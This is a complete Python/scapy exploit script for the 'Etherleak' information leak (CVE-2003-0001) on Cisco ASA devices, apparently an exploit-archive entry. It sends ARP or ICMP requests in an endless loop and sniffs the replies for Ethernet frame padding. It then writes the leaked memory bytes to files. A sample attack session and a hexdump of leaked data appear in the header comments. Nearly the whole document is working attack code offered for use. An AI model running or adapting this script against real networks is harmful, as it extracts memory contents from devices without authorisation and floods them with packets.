Cisco ASA < 8.4.4.6 < 8.2.5.32 - Ethernet Information Leak
#!/usr/bin/env python # CVE-2003-0001 'Etherleak' exploit # ================================= # Exploit for hosts which use a network device driver that pads # ethernet frames with data which vary from one packet to another, # likely taken from kernel memory, system memory allocated to # the device driver, or a hardware buffer on its network interface # card. Exploit uses scapy with either ICMP or ARP requests as # this can trigger with either but ICMP can hit layer3 filtering # rules. Using ARP the padding appears to leak only fixed constant # values when exploited, ICMP leaks random bytes. # # root@bt:~/0d# python cve-2003-0001.py x.x.x.254 icmp leaky # WARNING: No route found for IPv6 destination :: (no default route?) # [ CVE-2003-0001 'Etherleak' exploit # [ Attacking x.x.x.254 for icmp padding saved to leaky.hex # ............................................................^C!Killing # !Killing # root@bt:~/0d# hexdump -C leaky | head # 00000000 e6 bd a6 9b 90 eb 44 f5 18 a5 29 2a 16 5a 08 ff |......D...)*.Z..| # 00000010 43 e1 23 07 8f 96 5a 24 3f 3d 33 7d b4 97 7e 18 |C.#...Z$?=3}..~.| # 00000020 05 c9 7c 2c a5 c0 fa 7a 76 f3 51 c0 fe 07 72 32 |..|,...zv.Q...r2| # 00000030 9e ad 6a 67 ad 43 58 17 60 43 bc 2b b8 fb cc 70 |..jg.CX.`C.+...p| # 00000040 99 92 80 84 03 03 6f 8f 18 d3 5b 5e f0 1e 3a 83 |......o...[^..:.| # 00000050 3d 82 e7 cd 3e 1f 31 74 b0 06 8c a2 7e 14 6b fb |=...>.1t....~.k.| # 00000060 72 9b ac 64 74 9b a4 d9 23 5b 92 82 0d 0b 31 f0 |r..dt...#[....1.| # 00000070 a9 4f dd 3f bf 2b 5c 67 6c 22 fa da d0 2b d6 39 |.O.?.+\gl"...+.9| # 00000080 40 58 13 4f 3d bb 48 03 d3 53 3c 5c 44 d2 3d b2 |@X.O=.H..S<\D.=.| # 00000090 4f f2 a9 4a 02 80 4e 1b 6c bd 69 89 bd 76 1b 0a |O..J..N.l.i..v..| # # This issue has been resolved in ASA 8.4.4.6/8.2.5.32. Cisco Bug reference # is CSCua88376 and PSIRT-0669464365. # # -- prdelka # import os import sys import signal import binascii from scapy.all import * def signalhandler(signal,id): print "!Killing" sys.exit(0) def spawn(host,type): if type == 'arp': send(ARP(pdst=host),loop=1,nofilter=1) elif type == 'icmp': send(IP(dst=host)/ICMP(type=8)/'x',loop=1,nofilter=1) if __name__ == "__main__": print "[ CVE-2003-0001 'Etherleak' exploit" signal.signal(signal.SIGINT,signalhandler) if len(sys.argv) < 4: print "[ No! Use with <host> <arp|icmp> <file>" sys.exit(1) type = sys.argv[2] if type == 'arp': pass elif type == 'icmp': pass else: print "Bad type!" sys.exit(0) pid = os.fork() if(pid): print "[ Attacking %s for %s padding saved to %s.hex" % (sys.argv[1],sys.argv[2],sys.argv[3]) spawn(sys.argv[1],sys.argv[2]) while True: if type == 'arp': myfilter = "host %s and arp" % sys.argv[1] elif type == 'icmp': myfilter = "host %s and icmp" % sys.argv[1] x = sniff(count=1,filter=myfilter,lfilter=lambda x: x.haslayer(Padding)) p = x[0] if type == 'arp': pad = p.getlayer(2) if type == 'icmp': pad = p.getlayer(4) leak = str(pad) hexfull = binascii.b2a_hex(leak) file = "%s.hex"%sys.argv[3] fdesc = open(file,"a") fdesc.write(hexfull + "\n") fdesc.close() # 32 bits leaked here for me. if type == 'icmp': bytes = leak[9:13] elif type == 'arp': bytes = leak[10:14] fdesc = open(sys.argv[3],"ab") fdesc.write(bytes) fdesc.close() |